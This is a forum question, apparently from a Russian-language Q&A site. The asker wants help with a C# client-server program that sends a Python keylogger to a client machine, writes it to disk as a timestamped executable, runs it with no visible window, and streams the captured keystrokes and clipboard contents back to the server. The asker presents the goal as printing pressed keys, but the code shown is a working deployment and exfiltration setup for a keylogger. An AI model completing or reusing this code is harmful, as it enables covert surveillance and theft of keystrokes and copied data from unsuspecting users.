Я пишу небольшую программу на C# с сервером-клиентом, и я хочу передать клиенту кейлоггер, который написан на Python, то есть задача - распечатать на экране нажатую клавишу.
Вот код кейлоггера:
import pyperclip # to access the keyboard
from pynput.keyboard import Listener,KeyCode
def on_press(key):
print("\n",key)
if key == KeyCode.from_char('\x03'): #\x03 is the combination of ctrl+c
clipboard_data = pyperclip.paste()
print("\nthe user have copied " + clipboard_data)
listener = Listener(on_press=on_press) # event
listener.start()
listener.join()
Я передаю его клиенту с помощью byte[]
, а затем клиент создает новый файл и записывает данные из byte[]
в файл.
После того, как файл будет создан и его можно будет использовать в качестве регистратора ключей, я хочу активировать его процессом и передать нажатые клавиши обратно на сервер.
Я попробовал RedirectStandardOutput = true
, чтобы я мог прочитать, что нажатая клавиша будет распечатана в процессе, но это не сработало.
Есть два метода Rx()
, которые используются для получения данных с сервера и TxC(some message)
, который используется для передачи данных на сервер, оба метода работают, я тестировал их раньше !!
byte[] b1 = Rx(); // receiving file data
string path = string.Format("p{0}.exe", DateTime.Now.ToString("yyyy-MM-dd,HH.mm.ss"));
FileStream file = File.Create(path);
file.Write(b1, 0, b1.Length);
file.Close();
try
{
var process = new Process
{
StartInfo = new ProcessStartInfo
{
FileName = file.Name,
UseShellExecute = false,
RedirectStandardOutput = true,
CreateNoWindow = true
}
};
process.Start();
while (!process.HasExited)
{
string m = process.StandardOutput.ReadToEnd();
TxC(m);
}
}
catch
{
bool b = false
TxC(b);
}
Если кому-то нужны дополнительные объяснения, спрашивайте в комментариях